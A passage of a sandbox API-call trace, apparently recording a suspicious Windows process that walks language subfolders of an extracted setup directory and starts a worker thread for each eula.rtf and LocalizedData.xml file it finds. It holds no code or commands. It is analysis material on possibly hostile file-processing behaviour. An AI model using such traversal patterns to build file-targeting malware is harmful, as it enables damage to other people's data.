	[0073.408] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.408] wcscmp (_String1="..", _String2=".") returned 1
	[0073.408] wcscmp (_String1="..", _String2="..") returned 0
	[0073.408] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.408] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.408] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730920
	[0073.408] wcscpy (in: _Dest=0x4730920, _Source="C:\\588bce7c90097ed212\\1049" | out: _Dest="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049"
	[0073.409] wcscat (in: _Dest=0x4730920, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\"
	[0073.409] wcscat (in: _Dest=0x4730920, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned="C:\\588bce7c90097ed212\\1049\\eula.rtf"
	[0073.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618
	[0073.409] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.409] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.409] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.409] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4733528
	[0073.409] wcscpy (in: _Dest=0x4733528, _Source="C:\\588bce7c90097ed212\\1049" | out: _Dest="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049"
	[0073.409] wcscat (in: _Dest=0x4733528, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\"
	[0073.409] wcscat (in: _Dest=0x4733528, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml"
	[0073.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4733528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c
	[0073.410] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.410] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.410] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.410] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.410] FindClose (in: hFindFile=0x2d70f00 | out: hFindFile=0x2d70f00) returned 1
	[0073.410] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.410] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.410] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71500) returned 1

Thread:
	id = 61
	os_tid = 0x1340

	[0073.411] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.411] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1053" | out: _Dest="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053"
	[0073.411] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\"
	[0073.411] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1053\\*") returned="C:\\588bce7c90097ed212\\1053\\*"
	[0073.411] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.411] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f00
	[0073.412] wcscmp (_String1=".", _String2=".") returned 0
	[0073.412] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.412] wcscmp (_String1="..", _String2=".") returned 1
	[0073.412] wcscmp (_String1="..", _String2="..") returned 0
	[0073.412] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.412] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.412] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.412] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730970
	[0073.412] wcscpy (in: _Dest=0x4730970, _Source="C:\\588bce7c90097ed212\\1053" | out: _Dest="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053"
	[0073.412] wcscat (in: _Dest=0x4730970, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\"
	[0073.412] wcscat (in: _Dest=0x4730970, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned="C:\\588bce7c90097ed212\\1053\\eula.rtf"
	[0073.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620
	[0073.415] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.415] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.415] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.415] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4733590
	[0073.415] wcscpy (in: _Dest=0x4733590, _Source="C:\\588bce7c90097ed212\\1053" | out: _Dest="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053"
	[0073.415] wcscat (in: _Dest=0x4733590, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\"
	[0073.415] wcscat (in: _Dest=0x4733590, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml"
	[0073.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4733590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624
	[0073.416] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.416] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.416] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.416] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.416] FindClose (in: hFindFile=0x2d70f00 | out: hFindFile=0x2d70f00) returned 1
	[0073.416] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.416] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.416] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70980) returned 1

Thread:
	id = 62
	os_tid = 0x1310

	[0073.417] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.417] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1055" | out: _Dest="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055"
	[0073.417] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\"
	[0073.417] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1055\\*") returned="C:\\588bce7c90097ed212\\1055\\*"
	[0073.417] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.417] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0073.418] wcscmp (_String1=".", _String2=".") returned 0
	[0073.418] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.418] wcscmp (_String1="..", _String2=".") returned 1
	[0073.418] wcscmp (_String1="..", _String2="..") returned 0
	[0073.418] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.418] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.418] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.418] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x47309c0
	[0073.418] wcscpy (in: _Dest=0x47309c0, _Source="C:\\588bce7c90097ed212\\1055" | out: _Dest="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055"
	[0073.418] wcscat (in: _Dest=0x47309c0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\"
	[0073.418] wcscat (in: _Dest=0x47309c0, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned="C:\\588bce7c90097ed212\\1055\\eula.rtf"
	[0073.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47309c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628
	[0073.419] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.419] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.419] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.419] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47335f8
	[0073.419] wcscpy (in: _Dest=0x47335f8, _Source="C:\\588bce7c90097ed212\\1055" | out: _Dest="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055"
	[0073.419] wcscat (in: _Dest=0x47335f8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\"
	[0073.419] wcscat (in: _Dest=0x47335f8, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml"
	[0073.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47335f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c
	[0073.420] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.420] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.420] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.420] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.420] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0073.420] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.420] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.420] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70cc0) returned 1

Thread:
	id = 63
	os_tid = 0x1388

	[0073.421] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.421] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\2052" | out: _Dest="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052"
	[0073.421] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\"
	[0073.421] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\2052\\*") returned="C:\\588bce7c90097ed212\\2052\\*"
	[0073.421] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.421] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0073.421] wcscmp (_String1=".", _String2=".") returned 0
	[0073.421] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.421] wcscmp (_String1="..", _String2=".") returned 1
	[0073.421] wcscmp (_String1="..", _String2="..") returned 0
	[0073.421] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.421] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.421] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.421] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730a10
	[0073.421] wcscpy (in: _Dest=0x4730a10, _Source="C:\\588bce7c90097ed212\\2052" | out: _Dest="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052"
	[0073.421] wcscat (in: _Dest=0x4730a10, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\"
	[0073.421] wcscat (in: _Dest=0x4730a10, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned="C:\\588bce7c90097ed212\\2052\\eula.rtf"
	[0073.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630
	[0073.422] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.422] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.422] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4733660
	[0073.422] wcscpy (in: _Dest=0x4733660, _Source="C:\\588bce7c90097ed212\\2052" | out: _Dest="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052"
	[0073.422] wcscat (in: _Dest=0x4733660, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\"
	[0073.422] wcscat (in: _Dest=0x4733660, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml"
	[0073.423] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4733660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634
	[0073.423] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.423] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.423] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.423] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.423] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0073.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70c00) returned 1

Thread:
	id = 64
	os_tid = 0x12e8

	[0073.424] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.424] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\2070" | out: _Dest="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070"
	[0073.424] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\"
	[0073.424] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\2070\\*") returned="C:\\588bce7c90097ed212\\2070\\*"
